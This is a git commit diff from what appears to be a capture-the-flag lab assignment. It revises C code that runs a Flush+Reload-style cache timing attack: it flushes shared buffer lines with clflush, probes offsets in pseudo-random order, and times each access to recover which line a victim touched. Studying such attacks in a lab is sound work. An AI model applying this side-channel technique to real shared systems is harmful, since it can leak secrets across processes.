part2 ver 0.7.0 avoid frequent access
This commit is contained in:
parent
fb2a2ba698
commit
b27c59b282
|
@ -25,30 +25,33 @@ int main() {
|
||||||
char *buf = allocate_shared_buffer();
|
char *buf = allocate_shared_buffer();
|
||||||
|
|
||||||
// [2.1] TODO: Put your capture-the-flag code here
|
// [2.1] TODO: Put your capture-the-flag code here
|
||||||
for(int i = 0; i < 1024; i++) {
|
for (int j = 0; j < 1024; j++) {
|
||||||
clflush((ADDR_PTR)buf + i * 128);
|
for(int i = 0; i < 1024; i++) {
|
||||||
}
|
clflush((ADDR_PTR)buf + i * 128);
|
||||||
for(int i = 0; i < WAIT_TIME; i++);
|
|
||||||
for(int i = 0; i < 10000; i++) {
|
|
||||||
new_offset = (AVAR * offset + CVAR) % 1024;
|
|
||||||
if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
|
|
||||||
offset = (AVAR1 * offset + CVAR1) % 1024;
|
|
||||||
}
|
}
|
||||||
else {
|
for(int i = 0; i < WAIT_TIME; i++);
|
||||||
offset = new_offset;
|
for(int i = 0; i < 64; i++) {
|
||||||
}
|
new_offset = (AVAR * offset + CVAR) % 1024;
|
||||||
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
|
if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
|
||||||
if(time < CACHE_HIT_THRESHOLD) {
|
offset = (AVAR1 * offset + CVAR1) % 1024;
|
||||||
clflush((ADDR_PTR)buf + offset * 128);
|
}
|
||||||
for(int i = 0; i < WAIT_TIME; i++);
|
else {
|
||||||
new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
|
offset = new_offset;
|
||||||
if(new_time < CACHE_HIT_THRESHOLD) {
|
}
|
||||||
flag = offset;
|
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
|
||||||
index = i;
|
if(time < CACHE_HIT_THRESHOLD) {
|
||||||
break;
|
// clflush((ADDR_PTR)buf + offset * 128);
|
||||||
|
for(int i = 0; i < WAIT_TIME; i++);
|
||||||
|
new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
|
||||||
|
if(new_time < CACHE_HIT_THRESHOLD) {
|
||||||
|
flag = offset;
|
||||||
|
index = i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("Flag: %d\n", flag);
|
printf("Flag: %d\n", flag);
|
||||||
printf("Time: %d\n", time);
|
printf("Time: %d\n", time);
|
||||||
printf("Index: %d\n", index);
|
printf("Index: %d\n", index);
|
||||||
|
|
Loading…
Reference in New Issue